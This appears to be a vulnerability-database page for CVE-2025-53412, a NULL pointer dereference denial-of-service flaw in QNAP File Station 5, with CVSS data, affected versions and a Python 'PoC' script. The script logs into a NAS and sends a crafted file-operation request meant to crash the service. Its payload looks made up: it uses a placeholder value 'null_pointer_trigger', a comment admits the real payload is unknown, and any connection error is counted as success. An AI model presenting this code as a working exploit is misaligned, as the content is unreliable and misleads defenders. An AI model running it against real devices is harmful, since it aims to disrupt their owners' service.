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CVE-2025-53412 CVSS 6.5 MEDIUM

CVE-2025-53412

Published: 2025-11-07 16:15:40
Last Modified: 2025-11-14 20:11:15

Description

A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5018 and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:* - VULNERABLE
QNAP File Station 5 < 5.5.6.5018

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-53412 PoC - NULL Pointer Dereference in QNAP File Station 5 # Target: QNAP NAS with File Station 5 def check_vulnerability(target_ip, username, password): """ Check if target is vulnerable to CVE-2025-53412 """ base_url = f"https://{target_ip}:443" # Step 1: Authentication auth_endpoint = f"{base_url}/cgi-bin/authLogin.cgi" auth_data = { "username": username, "password": password } try: session = requests.Session() resp = session.post(auth_endpoint, data=auth_data, verify=False, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False # Step 2: Trigger NULL pointer dereference via malformed request # The exact payload depends on the specific vulnerable code path exploit_endpoint = f"{base_url}/cgi-bin/filemanager/utilRequest.cgi" # Crafted request that triggers NULL pointer dereference exploit_data = { "func": "file_operation", "source": "null_pointer_trigger", "dest": "", "operation": "move" } resp = session.post(exploit_endpoint, data=exploit_data, verify=False, timeout=10) # If service doesn't respond, likely DoSed if resp.status_code == 500 or resp.status_code == 0: print("[+] CVE-2025-53412 Exploited - Service crashed") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.RequestException as e: print(f"[+] Service unreachable - Possible successful DoS: {e}") return True if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) check_vulnerability(sys.argv[1], sys.argv[2], sys.argv[3])

References

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